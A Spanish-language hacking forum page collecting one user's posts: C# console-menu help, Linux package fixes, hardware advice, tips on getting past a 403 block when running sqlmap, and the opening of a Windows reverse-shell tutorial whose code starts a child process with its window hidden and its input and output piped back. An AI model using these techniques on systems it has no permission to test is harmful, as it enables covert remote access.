Mostrar Mensajes

Esta sección te permite ver todos los posts escritos por este usuario. Ten en cuenta que sólo puedes ver los posts escritos en zonas a las que tienes acceso en este momento.

Mensajes - d3adly

Páginas: [1] 2 3 ... 5
1
E-Zines / Re:UnderDOCS - Julio 2020, Número 12
« en: Hoy a las 03:01:23 pm »
Felicidades a todo el equipo involucrado en el desarollo de cada entrega.

Respetos y admiracion a las personas que conforman esta hermosa comunidad.

2
Hacking / Re:Ataque por diccionario usando UTesla y Erica
« en: Hoy a las 02:40:27 pm »
Buenisimo compañero.
Ya decia yo, cuando se viene lo que todos pensamos: cracking distribuido  ;D.

Felicidades por tu proyecto @You are not allowed to view links. Register or Login esta muy genial. UTesla sera la base de mas proyectos geniales como este.

Mis respetos, saludos.

3
Hola @You are not allowed to view links. Register or Login, no estoy muy al tanto del asunto, pero si es posible.

Revisa los siguientes enlaces:

You are not allowed to view links. Register or Login

You are not allowed to view links. Register or Login

Saludos.

4
Dudas y pedidos generales / Re:sqlmap error 403 forbidden
« en: Hoy a las 12:46:47 am »
You are not allowed to view links. Register or Login
Gracias no creo que sea WAF ya que al inyectar código sql desde la url del navegador el servidor responde con un "Internal server error" en el body de la página a diferencia de sqlmap que devuelve el código de error HTTP 403.

@You are not allowed to view links. Register or Login no es lo mismo realizar un ataque manual que usar una herramienta automatizada. Herramientas como sqlmap generan mucho trafico, y puede que el sitio tenga algun IDS, por lo cual te deniega el acceso al recurso. Mencionaste que en el navegador te funciona, y a menos que tengas deshabilitadas las cookies, este va a setear las que le ofrezca el servidor. Por lo cual puedes probar a usar la cookie que te ofrece desde sqlmap:
You are not allowed to view links. Register or Login
you have not declared cookie(s), while server wants to set its own ...

Saludos.

5
Dudas y pedidos generales / Re:e-Mail certificado?
« en: Julio 09, 2020, 01:19:29 pm »
En realidad cualquiera te puede mandar un correo fingiendo ser otro. Verifica el dominio del correo que dices con el dominio de la entidad certificadora, y si este mismo aparece en algun lado de su sitio. Tambien verifica si esta entidad certificadora es reconocida.

Saludos.

6
Dudas y pedidos generales / Re:Intentar lograr el programa deseado
« en: Julio 08, 2020, 02:44:53 pm »
@You are not allowed to view links. Register or Login creo que no viste la ultima respuesta que te proporcione.

7
Hola @You are not allowed to view links. Register or Login, desde la pc hay maneras de escanear y transmitir haciendo uso de un adaptador externo como se especifica aqui You are not allowed to view links. Register or Login.

Personalmente he probado transmitiendo con una raspberry pi, claro que usando una frecuencia alta al transmitir para no interferir con las ya establecidas. Para escanear y decodificar puedes usar SDR# si estas en Windows o Gqrx en linux, junto con You are not allowed to view links. Register or Login.

Puedes darle una mirada a este enlace You are not allowed to view links. Register or Login. Es un sitio con muchos recursos sobre el tema y guias de instalacion.

Saludos.

8
Dudas y pedidos generales / Re:Intentar lograr el programa deseado
« en: Julio 08, 2020, 12:49:16 pm »
Hola @You are not allowed to view links. Register or Login, en ese caso se soluciona de una manera simple.

Primero se crea una variable global (mas adelante te explico el porque):
Código: C#
  1. static bool bRegresarEditar = false;

Luego en el segundo bucle condicional while, se modifica de esto:
Código: C#
  1. while((tecla = Console.ReadKey(true).Key) != ConsoleKey.Enter)

A esto:
Código: C#
  1. while((tecla = Console.ReadKey(true).Key) != ConsoleKey.Enter && !bRegresarEditar)

La cual se cumplira mientras no se presione ENTER y la variable bRegresarEditar siga siendo falsa. Luego esta la forma de "navegar" entre las opciones. Los cases en donde se presione -> o <- seran iguales:
Código: C#
  1. case ConsoleKey.RightArrow:
  2. if(index == 1){
  3.    Console.SetCursorPosition(11, 3);
  4.    Console.Write(" ");
  5.    Console.SetCursorPosition(1, 3);
  6.    Console.Write(">");
  7.    index = 0;
  8. } else {
  9.    Console.SetCursorPosition(1, 3);
  10.    Console.Write(" ");
  11.    Console.SetCursorPosition(11, 3);
  12.    Console.Write(">");
  13.    index = 1;
  14. }
  15. break;
  16. case ConsoleKey.LeftArrow:
  17. if(index == 1){
  18.    Console.SetCursorPosition(11, 3);
  19.    Console.Write(" ");
  20.    Console.SetCursorPosition(1, 3);
  21.    Console.Write(">");
  22.    index = 0;
  23. } else {
  24.    Console.SetCursorPosition(1, 3);
  25.    Console.Write(" ");
  26.    Console.SetCursorPosition(11, 3);
  27.    Console.Write(">");
  28.    index = 1;
  29. }
  30. break;

Ya que como dices independientemente de que se presione siga cambiando de opcion. Luego al estar entre las opciones de ATRAS o GUARDAR, si se presiona arriba o abajo se ejecua lo siguiente:
Código: C#
  1. if(index == 0){
  2.    Console.SetCursorPosition(1, 3);
  3.    Console.Write(" ");
  4. } else {
  5.    Console.SetCursorPosition(11, 3);
  6.    Console.Write(" ");
  7. }
  8. bRegresarEditar = true; // <-- Primer uso de la nueva variable antes creada

Al asignar el valor de verdadero(true)) a la variable se rompe el bucle:
Código: C#
  1. while((tecla = Console.ReadKey(true).Key) != ConsoleKey.Enter && !bRegresarEditar)
con lo cual continua ejecutando el resto del case, en donde esta el nuevo segmento de codigo:

Código: C#
  1. if(bRegresarEditar){                  
  2.    bRegresarEditar = false;  
  3.    continue;
  4. }
el cual comprueba si la variable es falsa, en otras palabras, si presionaste arriba o abajo estando entre las opciones de ATRAS o GUARDAR. A su vez vuelve a asignarle false a la variable para "resetearla" y luego esta el continue el cual hace regresar al inicio del bucle principal sin comprobar si se eligio alguna de las opciones anteriores.

Lo de la posicion del simbolo > le asigne el valor de 10 para probar pero solo hay una espacio de diferencia con lo cual el valor se le aumenta en 1, es cuestion de logica solamente aumentar la posicion del cursor en X para dibujar el caracter:
Código: C#
  1. Console.SetCursorPosition(11, 3);

El nuevo codigo puede quedar asi:
Código: C#
  1. using System;
  2. namespace LCD_nombre_archivo_consola_08
  3. {
  4.    class Program
  5.    {
  6.       static string guardarNombre = "";
  7.       static int coordenadaX = 0;
  8.       private static ConsoleKey tecla;
  9.       static bool bRegresarEditar = false;
  10.  
  11.       // Caracteres de este array.
  12.       static readonly char[] roALFANUMERICO = You are not allowed to view links. Register or Login char[]
  13.       {
  14.          'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'Ñ', 'O', 'P',
  15.          'Q', 'R', 'S', 'T', 'U', 'V', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h',
  16.          'i', 'j', 'k', 'l', 'm', 'n', 'ñ', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'x', 'y',
  17.          'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9','.', ',', '-', '_', ':', ';',
  18.          '¿', '?', '(', ')', '[', ']', '{', '}','=', '$','&', '"', ' '
  19.       };
  20.  
  21.       // Dirección del carácter del array. El 80 presenta al espacio del array roALFANUMERICO.
  22.       static readonly int[] roINDICE_ARRAY = You are not allowed to view links. Register or Login int[]
  23.       {
  24.          8, 0, 88, 80, 88, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80
  25.       };
  26.  
  27.       private static readonly string[] roTEXTO = You are not allowed to view links. Register or Login string[] { "GUARDAR", "ATRÁS" };
  28.  
  29.       static int index = 0;
  30.       static void Main(string[] args)
  31.       {
  32.          // Título de la pantalla.
  33.          Console.Title = "Cambiar nombre";
  34.  
  35.          Inicio();
  36.       }
  37.      
  38.       private static void MainMenu(){
  39.          Console.Clear();
  40.  
  41.          Console.SetCursorPosition(0, 0);
  42.          Console.Write("Nombre del relé 1:  ");
  43.          Console.SetCursorPosition(0, 1);
  44.          
  45.          for (int i = 0; i < roINDICE_ARRAY.Length; i++)
  46.          {
  47.             Console.Write(roALFANUMERICO[roINDICE_ARRAY[i]]);
  48.          }
  49.  
  50.          Console.SetCursorPosition(2, 3);
  51.          Console.Write(roTEXTO[0]); // ATRÁS.
  52.          Console.SetCursorPosition(12, 3);
  53.          Console.Write(roTEXTO[1]); // GUARDAR.
  54.       }
  55.  
  56.       #region Inico.
  57.       private static void Inicio()
  58.       {
  59.          Console.SetWindowSize(20, 5);
  60.          Console.BackgroundColor = ConsoleColor.Gray;
  61.          Console.ForegroundColor = ConsoleColor.Black;
  62.  
  63.          MainMenu();
  64.          while (true)
  65.          {
  66.             index = 0;
  67.             if(tecla == ConsoleKey.Enter || tecla == ConsoleKey.RightArrow || tecla == ConsoleKey.LeftArrow){
  68.                MainMenu();
  69.             }
  70.             Console.SetCursorPosition(coordenadaX, 1);
  71.  
  72.             tecla = Console.ReadKey(true).Key;
  73.             tecla = ConsoleKey.Enter;
  74.             switch (tecla)
  75.             {
  76.                case ConsoleKey.RightArrow:
  77.                   if (coordenadaX < 15)
  78.                   {
  79.                      coordenadaX++;
  80.                   }
  81.                   break;
  82.  
  83.                case ConsoleKey.LeftArrow:
  84.                   if (coordenadaX > 0)
  85.                   {
  86.                      coordenadaX--;
  87.                   }
  88.                   break;
  89.  
  90.                case ConsoleKey.UpArrow:
  91.                   roINDICE_ARRAY[coordenadaX]++;
  92.                   if (roINDICE_ARRAY[coordenadaX] >= roALFANUMERICO.Length)
  93.                   {
  94.                      roINDICE_ARRAY[coordenadaX] = 0;
  95.                   }
  96.                   Console.Write(roALFANUMERICO[roINDICE_ARRAY[coordenadaX]]);
  97.                   break;
  98.  
  99.                case ConsoleKey.DownArrow:
  100.                   roINDICE_ARRAY[coordenadaX]--;
  101.                   if (roINDICE_ARRAY[coordenadaX] < 0)
  102.                   {
  103.                      roINDICE_ARRAY[coordenadaX] = roALFANUMERICO.Length - 1;
  104.                   }
  105.                   Console.Write(roALFANUMERICO[roINDICE_ARRAY[coordenadaX]]);
  106.                   break;
  107.  
  108.                case ConsoleKey.Enter:
  109.                   Console.SetCursorPosition(1, 3);
  110.                   Console.CursorVisible = false;
  111.                   Console.Write(">");
  112.  
  113.                   while((tecla = Console.ReadKey(true).Key) != ConsoleKey.Enter && !bRegresarEditar){
  114.  
  115.                      switch (tecla)
  116.                      {
  117.                         case ConsoleKey.RightArrow:
  118.                            if(index == 1){
  119.                               Console.SetCursorPosition(11, 3);
  120.                               Console.Write(" ");
  121.                               Console.SetCursorPosition(1, 3);
  122.                               Console.Write(">");
  123.                               index = 0;
  124.                            } else {
  125.                               Console.SetCursorPosition(1, 3);
  126.                               Console.Write(" ");
  127.                               Console.SetCursorPosition(11, 3);
  128.                               Console.Write(">");
  129.                               index = 1;
  130.                            }
  131.                            break;
  132.                         case ConsoleKey.LeftArrow:
  133.                            if(index == 1){
  134.                               Console.SetCursorPosition(11, 3);
  135.                               Console.Write(" ");
  136.                               Console.SetCursorPosition(1, 3);
  137.                               Console.Write(">");
  138.                               index = 0;
  139.                            } else {
  140.                               Console.SetCursorPosition(1, 3);
  141.                               Console.Write(" ");
  142.                               Console.SetCursorPosition(11, 3);
  143.                               Console.Write(">");
  144.                               index = 1;
  145.                            }
  146.                            break;
  147.  
  148.                         case ConsoleKey.UpArrow:
  149.                         case ConsoleKey.DownArrow:
  150.                            if(index == 0){
  151.                               Console.SetCursorPosition(1, 3);
  152.                               Console.Write(" ");
  153.                            } else {
  154.                               Console.SetCursorPosition(11, 3);
  155.                               Console.Write(" ");
  156.                            }
  157.                            bRegresarEditar = true;
  158.                            break;
  159.                      }
  160.                   }
  161.                   if(bRegresarEditar){
  162.                      bRegresarEditar = false;
  163.                      continue;
  164.                   }
  165.                   if (index == 0){
  166.                      Atras();
  167.                   }
  168.                   if (index == 1){
  169.                      Guardar();
  170.                   }
  171.                   break;
  172.             }
  173.          }
  174.       }
  175.       #endregion
  176.  
  177.       private static void Atras()
  178.       {
  179.          Console.Clear();
  180.          Console.SetCursorPosition(0, 1);
  181.          Console.Write("HAS PULSADO ATRÁS   ");
  182.          //Console.ReadKey();
  183.       }
  184.  
  185.       private static void Guardar()
  186.       {
  187.          guardarNombre = "";
  188.          Console.Clear();
  189.          Console.SetCursorPosition(0, 1);
  190.          Console.Write("HAS GUARDADO       ");
  191.          for (int a = 0; a < roINDICE_ARRAY.Length; a++)
  192.          {
  193.             //guardarNombre += roALFANUMERICO[roINDICE_ARRAY[a]].ToString();
  194.          }
  195.          Console.SetCursorPosition(0, 2);
  196.          Console.Write(guardarNombre);
  197.          //Console.ReadKey();
  198.       }
  199.    }
  200. }

Saludos.

9
Dudas y pedidos generales / Re:Intentar lograr el programa deseado
« en: Julio 08, 2020, 02:13:11 am »
Hola @You are not allowed to view links. Register or Login, me disculpo si la siguiente respuesta no concuerda a tu pregunta pero te explico lo que pude entender de tu dilema.
Despues de haber creado la "frase" se presiona ENTER, y lo que quieres es elegir entre las opciones ATRAS y GUARDAR dibujando el simbolo > antes de dicha opcion. Y que luego de seleccionar dicha opcion el programa te permita seguir editando la "frase" antes creada. O me equivoco?

De no ser asi, te ofrezco una posible solucion.

Primero no necesitas usar tantas clases. Basta con:
Código: C#
  1. using System;

Luego por simple mania y para poder redibujar la consola de una manera mas accesible cree la funcion MainMenu:
Código: C#
  1. private static void MainMenu(){
  2.             Console.Clear();
  3.  
  4.             Console.SetCursorPosition(0, 0);
  5.             Console.Write("Nombre del relé 1:  ");
  6.             Console.SetCursorPosition(0, 1);
  7.            
  8.             for (int i = 0; i < roINDICE_ARRAY.Length; i++)
  9.             {
  10.                 Console.Write(roALFANUMERICO[roINDICE_ARRAY[i]]);
  11.             }
  12.  
  13.             Console.SetCursorPosition(2, 3);
  14.             Console.Write(roTEXTO[0]); // ATRÁS.
  15.             Console.SetCursorPosition(12, 3);
  16.             Console.Write(roTEXTO[1]); // GUARDAR.
  17.         }

Luego en las primeras lineas del bucle principal, se modifica de la siguiente manera:
Código: C#
  1. while (true){
  2.             index = 0;
  3.             if(tecla == ConsoleKey.Enter || tecla == ConsoleKey.RightArrow || tecla == ConsoleKey.LeftArrow){
  4.                MainMenu();
  5.             }
  6.  
Compara la tecla presionada anteriormente, cuando se esta en modo "edicion", por asi decirlo, y solamente redibuja la pantalla si se presiono ENTER, -> o <-, para asi tener que evitar llamar a la funcion MainMenu y que parpadee mucho la consola.

Despues sigue la seccion de construir la "frase" y mas abajo esta la nueva modificacion:
Código: C#
  1. while((tecla = Console.ReadKey(true).Key) != ConsoleKey.Enter){
  2.   switch (tecla){
  3.    case ConsoleKey.RightArrow:
  4.       index = 1;
  5.       Console.SetCursorPosition(1, 3);
  6.       Console.Write(" ");
  7.       Console.SetCursorPosition(10, 3);
  8.       Console.Write(">");
  9.       break;
  10.    case ConsoleKey.LeftArrow:
  11.       Console.SetCursorPosition(10, 3);
  12.       Console.Write(" ");
  13.       Console.SetCursorPosition(1, 3);
  14.       Console.Write(">");
  15.       index = 0;
  16.       break;
  17.    case ConsoleKey.UpArrow:
  18.    case ConsoleKey.DownArrow:
  19.            Console.SetCursorPosition(coordenadaX, 1);
  20.       break;
  21.    }
  22. }

Siendo la linea:
Código: C#
  1. while((tecla = Console.ReadKey(true).Key) != ConsoleKey.Enter){
una condicion que se cumplira mientras no se precione la tecla ENTER.

Luego el siguiente segmento que se ejecuta al presionar la tecla ->:
Código: C#
  1. index = 1;
  2. Console.SetCursorPosition(1, 3);
  3. Console.Write(" ");
  4. Console.SetCursorPosition(10, 3);
  5. Console.Write(">");
el cual borra el > escrito anteriormente al lado de ATRAS y lo dibuja entes de la palabra GUARDAR, ademas se le asigna 1 a la variable index.

Lo mismo pero a la inversa si se presiona la tecla <-:
Código: C#
  1. Console.SetCursorPosition(10, 3);
  2. Console.Write(" ");
  3. Console.SetCursorPosition(1, 3);
  4. Console.Write(">");
  5. index = 0;
borra el > que se encuentra al lado de GUARDAR y lo dibuja al lado de ATRAS, y se le asigna el valor de 0 a la variable index. Asi se logra un "efecto" de navegacion entre las opciones disponibles ya que mientras no presiones ENTER dibuja > al lado de la opcion correspondiente.

Otra modificacion "significativa" seria en al funcion Guardar:
Código: C#
  1. private static void Guardar(){
  2.    guardarNombre = ""; // <--- Aqui
  3.    Console.Clear();
  4.    Console.SetCursorPosition(0, 1);
  5.    Console.Write("HAS GUARDADO       ");
  6.    for (int a = 0; a < roINDICE_ARRAY.Length; a++)
  7.    {
  8.       guardarNombre += roALFANUMERICO[roINDICE_ARRAY[a]].ToString();
  9.    }
  10.    Console.SetCursorPosition(0, 2);
  11.    Console.Write(guardarNombre);
  12.    Console.ReadKey();   // <--- Aqui
  13. }
Primero "resetear" la variable guardarNombre para evitar agregar los datos antes "seteados", y la llamada a Console.ReadKey() para mostrar el mensaje por pantalla sin que se esfume de una vez.

Por ultimo este segmento de codigo es innecesario:
Código: C#
  1. for (int a = 0; a < 2; a++)
  2. {
  3.    Console.SetCursorPosition(1 + (10 * a), 3);
  4.    if (a == index)
  5.    {
  6.       Console.Write(">");
  7.    }
  8.    else
  9.    {
  10.       Console.Write(" ");
  11.    }
  12. }

Concluyendo, tu codigo podria quedar de la siguiente manera:
Código: C#
  1. using System;
  2. namespace LCD_nombre_archivo_consola_08
  3. {
  4.    class Program
  5.    {
  6.       static string guardarNombre = "";
  7.       static int coordenadaX = 0;
  8.       private static ConsoleKey tecla;
  9.  
  10.       // Caracteres de este array.
  11.       static readonly char[] roALFANUMERICO = You are not allowed to view links. Register or Login char[]
  12.       {
  13.          'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'Ñ', 'O', 'P',
  14.          'Q', 'R', 'S', 'T', 'U', 'V', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h',
  15.          'i', 'j', 'k', 'l', 'm', 'n', 'ñ', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'x', 'y',
  16.          'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9','.', ',', '-', '_', ':', ';',
  17.          '¿', '?', '(', ')', '[', ']', '{', '}','=', '$','&', '"', ' '
  18.       };
  19.  
  20.       // Dirección del carácter del array. El 80 presenta al espacio del array roALFANUMERICO.
  21.       static readonly int[] roINDICE_ARRAY = You are not allowed to view links. Register or Login int[]
  22.       {
  23.          80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80
  24.       };
  25.  
  26.       private static readonly string[] roTEXTO = You are not allowed to view links. Register or Login string[] { "ATRÁS", "GUARDAR" };
  27.  
  28.       static int index = 0;
  29.       static void Main(string[] args)
  30.       {
  31.          // Título de la pantalla.
  32.          Console.Title = "Cambiar nombre";
  33.  
  34.          Inicio();
  35.       }
  36.      
  37.       private static void MainMenu(){
  38.          Console.Clear();
  39.  
  40.          Console.SetCursorPosition(0, 0);
  41.          Console.Write("Nombre del relé 1:  ");
  42.          Console.SetCursorPosition(0, 1);
  43.          
  44.          for (int i = 0; i < roINDICE_ARRAY.Length; i++)
  45.          {
  46.             Console.Write(roALFANUMERICO[roINDICE_ARRAY[i]]);
  47.          }
  48.  
  49.          Console.SetCursorPosition(2, 3);
  50.          Console.Write(roTEXTO[0]); // ATRÁS.
  51.          Console.SetCursorPosition(12, 3);
  52.          Console.Write(roTEXTO[1]); // GUARDAR.
  53.       }
  54.  
  55.       #region Inico.
  56.       private static void Inicio()
  57.       {
  58.          Console.SetWindowSize(20, 5);
  59.          Console.BackgroundColor = ConsoleColor.Gray;
  60.          Console.ForegroundColor = ConsoleColor.Black;
  61.  
  62.          MainMenu();
  63.          while (true)
  64.          {
  65.             index = 0;
  66.             if(tecla == ConsoleKey.Enter || tecla == ConsoleKey.RightArrow || tecla == ConsoleKey.LeftArrow){
  67.                MainMenu();
  68.             }
  69.             Console.SetCursorPosition(coordenadaX, 1);
  70.  
  71.             tecla = Console.ReadKey(true).Key;
  72.             switch (tecla)
  73.             {
  74.                case ConsoleKey.RightArrow:
  75.                   if (coordenadaX < 15)
  76.                   {
  77.                      coordenadaX++;
  78.                   }
  79.                   break;
  80.  
  81.                case ConsoleKey.LeftArrow:
  82.                   if (coordenadaX > 0)
  83.                   {
  84.                      coordenadaX--;
  85.                   }
  86.                   break;
  87.  
  88.                case ConsoleKey.UpArrow:
  89.                   roINDICE_ARRAY[coordenadaX]++;
  90.                   if (roINDICE_ARRAY[coordenadaX] >= roALFANUMERICO.Length)
  91.                   {
  92.                      roINDICE_ARRAY[coordenadaX] = 0;
  93.                   }
  94.                   Console.Write(roALFANUMERICO[roINDICE_ARRAY[coordenadaX]]);
  95.                   break;
  96.  
  97.                case ConsoleKey.DownArrow:
  98.                   roINDICE_ARRAY[coordenadaX]--;
  99.                   if (roINDICE_ARRAY[coordenadaX] < 0)
  100.                   {
  101.                      roINDICE_ARRAY[coordenadaX] = roALFANUMERICO.Length - 1;
  102.                   }
  103.                   Console.Write(roALFANUMERICO[roINDICE_ARRAY[coordenadaX]]);
  104.                   break;
  105.  
  106.                case ConsoleKey.Enter:
  107.                   Console.SetCursorPosition(1, 3);
  108.                   Console.CursorVisible = false;
  109.                   Console.Write(">");
  110.  
  111.                   while((tecla = Console.ReadKey(true).Key) != ConsoleKey.Enter){
  112.  
  113.                      switch (tecla)
  114.                      {
  115.                         case ConsoleKey.RightArrow:
  116.                            index = 1;
  117.                            Console.SetCursorPosition(1, 3);
  118.                            Console.Write(" ");
  119.                            Console.SetCursorPosition(10, 3);
  120.                            Console.Write(">");
  121.                            break;
  122.                         case ConsoleKey.LeftArrow:
  123.                            Console.SetCursorPosition(10, 3);
  124.                            Console.Write(" ");
  125.                            Console.SetCursorPosition(1, 3);
  126.                            Console.Write(">");
  127.                            index = 0;
  128.                            break;
  129.  
  130.                         case ConsoleKey.UpArrow:
  131.                         case ConsoleKey.DownArrow:
  132.                            Console.SetCursorPosition(coordenadaX, 1);
  133.                            break;
  134.                      }
  135.                   }
  136.                   if (index == 0){
  137.                      Atras();
  138.                   }
  139.                   if (index == 1){
  140.                      Guardar();
  141.                   }
  142.                   break;
  143.             }
  144.          }
  145.       }
  146.       #endregion
  147.  
  148.       private static void Atras()
  149.       {
  150.          Console.Clear();
  151.          Console.SetCursorPosition(0, 1);
  152.          Console.Write("HAS PULSADO ATRÁS   ");
  153.          Console.ReadKey(); // Pulse cualquier tecla para salir.
  154.       }
  155.  
  156.       private static void Guardar()
  157.       {
  158.          guardarNombre = "";
  159.          Console.Clear();
  160.          Console.SetCursorPosition(0, 1);
  161.          Console.Write("HAS GUARDADO       ");
  162.          for (int a = 0; a < roINDICE_ARRAY.Length; a++)
  163.          {
  164.             guardarNombre += roALFANUMERICO[roINDICE_ARRAY[a]].ToString();
  165.          }
  166.          Console.SetCursorPosition(0, 2);
  167.          Console.Write(guardarNombre);
  168.          Console.ReadKey();
  169.       }
  170.    }
  171. }
  172.  

Espero te sirva de algo, saludos.

10
Dudas y pedidos generales / Re:ayuda con herramienta nuevo KARMA
« en: Julio 07, 2020, 06:11:05 am »
Hola @You are not allowed to view links. Register or Login

Prueba corriendo lo siguiente:

Código: Bash
  1. sudo apt-get update
  2. sudo apt-get autoremove
  3. sudo dpkg --configure -a
  4. sudo apt-get -f install
Luego vuelve a correr el comando:

Código: Bash
  1. sudo apt install tor python3 python3-pip

Saludos.

11
Dudas y pedidos generales / Re:Descifrar Hash
« en: Julio 07, 2020, 05:04:40 am »
Hola, al parecer esta entre SHA1 y Cisco 7 como mencionaste.

You are not allowed to view links. Register or Login
yo se cual debe ser el resultado, pero quiero saber que tipo de hash es.
Conociendo el resultado el proceso se te hara mas sencillo, basta con generar el hash de la "frase" usando diferentes algoritmos como los mencionados anteriormente, y comparar el resultado de cada algoritmo con el hash que ya tienes 4788c8fa9c031dd87882e6736991f8083861dedb.

12
Talleres Underc0de / Re:Taller de Hardware #2
« en: Julio 06, 2020, 01:52:29 am »
No estoy muy familiarizado en el tema de refrigeracion, o de que placa te convenga mas que otra, se lo dejo a otro usuario que sea experto en el tema, pero no necesariamente tienes que tener una pc de tan alto rendimiento si quieres empezar, a no ser que el uso que le vayas a dar exija que sea de gama alta. Actualmente tengo por procesador un Celeron de 1.60 GHz de un par de años atras y hasta ahora me va bien para el uso diario, programacion e informatica en general. Entonces te sugiero que analizes cual sera el uso principal, luego puedes investigar que requisitos exije esa tarea que ejecutaras la mayoria del tiempo y podras adaptarlo a tu presupuesto. Suerte :D.

13
Talleres Underc0de / Re:Taller de Hardware #2
« en: Julio 06, 2020, 01:12:51 am »
Es un placer @You are not allowed to view links. Register or Login, la proxima vez que tengas una duda procura hacerlo en el subforo de You are not allowed to view links. Register or Login.

14
Talleres Underc0de / Re:Taller de Hardware #2
« en: Julio 05, 2020, 11:03:57 pm »
Hola @You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
estuve mirando portatiles pero quisiera aprender a armar un pc y elegir cada parte pero necesito de la ayuda de ustedes comenzando por marcas y modelos de gabinetes de alto rendimiento (sin irnos a los mas caros para gamers) y todo lo demás.

Respecto a portatiles, no son muy "modificables" en si, pero si te decides por una de escritorio puedes revisar este post You are not allowed to view links. Register or Login en el cual se discute sobre varios montos con los cuales puedes armar una pc de buenos requisitos, aunque los precios pueden variar.

Saludos.

15
Hacking / Re:Shell inversa "Cifrada" segunda parte (Windows)
« en: Julio 05, 2020, 10:54:50 pm »
Gracias @You are not allowed to view links. Register or Login  ;D

16
Hacking / Re:Shell inversa "Cifrada" segunda parte (Windows)
« en: Julio 05, 2020, 10:02:34 pm »
Gracias @You are not allowed to view links. Register or Login para mi es un placer  ;D

17
Hacking / Shell inversa "Cifrada" segunda parte (Windows)
« en: Julio 05, 2020, 09:14:44 pm »
Hola comunidad, hoy traigo la segunda parte del post anterior sobre You are not allowed to view links. Register or Login, esta vez aplicado a sistemas Windows.

En teoria el proceso es el mismo, a diferencia que ahora no se realiza un duplicado de la imagen del proceso en memoria. Las funciones mas importantes a usar con:
  • You are not allowed to view links. Register or Login          - Igual que pipe en linux, crea una tuberia con un extremo de lectura y otro de escritura.
  • You are not allowed to view links. Register or Login - Copia y extrae informacion de una tuberia sin modificar su contenido.
  • You are not allowed to view links. Register or Login    - Crea un nuevo proceso, lo genial de esta api es que podemos configurar como se va a ejecutar el programa, en este caso, la manipulacion de stdin y stdout/stderr como nos plazca de una manera muy facil.

Como aclare anteriormente es casi el mismo proceso. Primero procedemos a crear las tuberias usando CreatePipe:
Código: C++
  1.    HANDLE stdinRd, stdinWr, stdoutRd, stdoutWr;
  2.    stdinRd = stdinWr = stdoutRd = stdoutWr = nullptr;
  3.    
  4.    SECURITY_ATTRIBUTES sa;
  5.    sa.nLength = sizeof(SECURITY_ATTRIBUTES);
  6.    sa.lpSecurityDescriptor =  nullptr;
  7.    sa.bInheritHandle = true;   //Proceso hijo puede heredar tuberias retornadas por CreatePipe
  8.    if(!CreatePipe(&stdinRd, &stdinWr, &sa, 0) || !CreatePipe(&stdoutRd, &stdoutWr, &sa, 0)){
  9.       //No se pudo crear las tuberias                
  10.    }
  11.  
En sistemas windows HANDLE es como decir, un descriptor de archivo en linux fd, se usa para crear archivos, leer y escribir hacia ellos. En este caso haremos uso del mismo para crear tuberias.
La estructura You are not allowed to view links. Register or Login contiene la informacion que se le pasara a la funcion CreatePipe, esta estructura decide si un proceso hijo puede heredar o no los HANDLES creados por esta funcion, en este caso las tuberias.
Luego esta la funcion CreatePipe la cual recibe los siguientes parametros:
Código: C++
  1. BOOL CreatePipe(
  2.   PHANDLE               hReadPipe,          //Extremo de lectura  (stdinRd)  
  3.   PHANDLE               hWritePipe,         //Extremo de escritura (stdinWr)
  4.   LPSECURITY_ATTRIBUTES lpPipeAttributes,   //Estructura con los atributos de seguridad (sa)
  5.   DWORD                 nSize               //Tamaño de la estructura (sizeof(SECURITY_ATTRIBUTES))
  6. );
Extraido de la web de You are not allowed to view links. Register or Login
La funcion retorna verdadero si se creo la tuberia o falso si sucede un error. Si todo sale bien, hemos creado las siguientes tuberias:

Código: Text
  1. stdinRd < === > stdinWr
  2. stdoutRd < === > stdoutWr
Todo lo que se escriba a stdinWr, se puede leer en stdinRd, y es el mismo caso para stdoutRd/stdoutWr.

Luego de crear las tuberias se procede a crear el proceso hijo especificandole que redireccione stdout/stderr a un extremo de escritura de una de las tuberias previamente creadas (stdoutWr):

Código: C++
  1.    PROCESS_INFORMATION pi;
  2.    STARTUPINFO si;
  3.    GetStartupInfo(&si);
  4.    si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
  5.    si.wShowWindow = SW_HIDE;
  6.    si.hStdOutput = stdoutWr;
  7.    si.hStdError = stdoutWr;
  8.    si.hStdInput = stdinRd;
  9.    if(CreateProcess(nullptr, "programa.exe", nullptr, nullptr, true, CREATE_NEW_CONSOLE, nullptr, nullptr, &si, &pi) == 0){
  10.       //No se pudo invocar la shell                      
  11.    }

La estructura You are not allowed to view links. Register or Login contiene la informacion de como se creara la ventana del nuevo proceso. La funcion You are not allowed to view links. Register or Login obtiene una estructura del tipo STARTUPINFO, la cual contiene la informacion que se uso al crear el proceso actual. Se hace uso de la misma para llenar la estructura si (la cual vamos a usar para crear el proceso hijo) y asi modificar solamente las siguientes lineas:

Código: C++
  1.    si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
  2.    si.wShowWindow = SW_HIDE;
  3.    si.hStdOutput = stdoutWr;
  4.    si.hStdError = stdoutWr;
  5.    si.hStdInput = stdinRd;
El valor dwFlags contiene la opcion u opciones que se utilizaran en la esctructura:
  • STARTF_USESTDHANDLES    - Redireccionar salida y entrada del programa hacia nuestras tuberias.
  • STARTF_USESHOWWINDOW - Como se va a mostrar la ventana del proceso hijo.
La opcion wShowWindow especifica como se mostrara la ventana del nuevo proceso, en este caso SW_HIDE (Oculta). Luego le siguen las opciones hStdOutput , hStdError y hStdInput las cuales son nuestras tuberias que leeran y escribiran al programa. Entonces las salida y entrada del programa funcionara de la siguiente manera:
  • Todo lo escrito a stdinWr ira a la entrada(stdin) del programa.
  • Todo lo que salga del programa(stdout) lo podemos leer en stdourRd.

Despues se crea el proceso haciendo uso de la funcion CreateProcess:

Código: C++
